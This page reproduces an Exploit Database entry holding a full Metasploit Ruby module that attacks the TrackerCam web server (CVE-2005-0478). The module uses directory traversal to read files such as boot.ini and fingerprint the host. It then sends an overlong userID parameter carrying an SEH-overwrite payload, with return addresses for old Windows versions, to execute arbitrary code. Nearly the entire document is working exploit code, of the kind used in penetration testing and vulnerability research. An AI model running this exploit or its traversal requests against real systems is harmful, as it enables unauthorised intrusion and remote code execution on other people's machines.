TrackerCam – PHP Argument Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16811/

• ##
  # $Id: trackercam_phparg_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'TrackerCam PHP Argument Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a simple stack buffer overflow in the
  				TrackerCam web server. All current versions of this software
  				are vulnerable to a large number of security issues. This
  				module abuses the directory traversal flaw to gain
  				information about the system and then uses the PHP overflow
  				to execute arbitrary code.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0478'],
  					[ 'OSVDB', '13953'],
  					[ 'OSVDB', '13955'],
  					[ 'BID', '12592'],
  					[ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 2048,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# EyeWD.exe has a null and we can not use a partial overwrite.
  					# All of the loaded application DLLs have a null in the address,
  					# except CPS.dll, which moves around between instances :-(
  
  					['Windows 2000 English',		{ 'Ret' => 0x75022ac4 }], # ws2help.dll
  					['Windows XP English SP0/SP1',	{ 'Ret' => 0x71aa32ad }], # ws2help.dll
  					['Windows NT 4.0 SP4/SP5/SP6',	{ 'Ret' => 0x77681799 }], # ws2help.dll
  
  					# Windows XP SP2 and Windows 2003 are not supported yet :-/
  				],
  			'DisclosureDate' => 'Feb 18 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(8090)
  			], self.class)
  	end
  
  	def check
  		res = send_request_raw({
  			'uri' => '/tuner/ComGetLogFile.php3',
  			'query' => 'fn=../HTTPRoot/socket.php3'
  		}, 5)
  
  		if (res and res.body =~ /fsockopen/)
  			fp = fingerprint()
  			print_status("Detected a vulnerable TrackerCam installation on #{fp}")
  			return Exploit::CheckCode::Confirmed
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		c = connect
  
  		buf = rand_text_english(8192)
  		seh = generate_seh_payload(target.ret)
  		buf[257, seh.length] = seh
  
  		print_status("Sending request...")
  		res = send_request_raw({
  			'uri' => '/tuner/TunerGuide.php3',
  			'query' => 'userID=' + buf
  		}, 5)
  
  		handler
  	end
  
  	def download(path)
  
  		res = send_request_raw({
  			'uri' => '/tuner/ComGetLogFile.php3',
  			'query' => 'fn=' + ("../" * 10) + path
  		}, 5)
  
  		return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/)
  
  		m = res.match(/<pre>(.*)<\/pre><\/body>/smi)
  		return if not m
  		return m[1]
  	end
  
  	def fingerprint
  
  		res = download(rand_text_alphanumeric(12) + '.txt')
  		return if not res
  
  		m = res.match(/in <b>(.*)<\/b> on line/smi)
  		return if not m
  
  		path = m[1]
  
  		print_status("TrackerCam installation path is #{path}")
  
  		if (path !~ /^C/i)
  			print_status("TrackerCam is not installed on the system drive, we can't fingerprint it")
  			return
  		end
  
  		if (path !~ /Program Files/i)
  			print_status("TrackerCam is installed in a non-standard location")
  		end
  
  		boot = download('boot.ini')
  		return if not boot
  
  		case boot
  			when /Windows XP.*NoExecute/i
  				return "Windows XP SP2+"
  			when /Windows XP/
  				return "Windows XP SP0-SP1"
  			when /Windows.*2003/
  				return "Windows 2003"
  			when /Windows.*2000/
  				return "Windows 2000"
  			else
  				return "Unknown OS/SP"
  		end
  	end
  
  end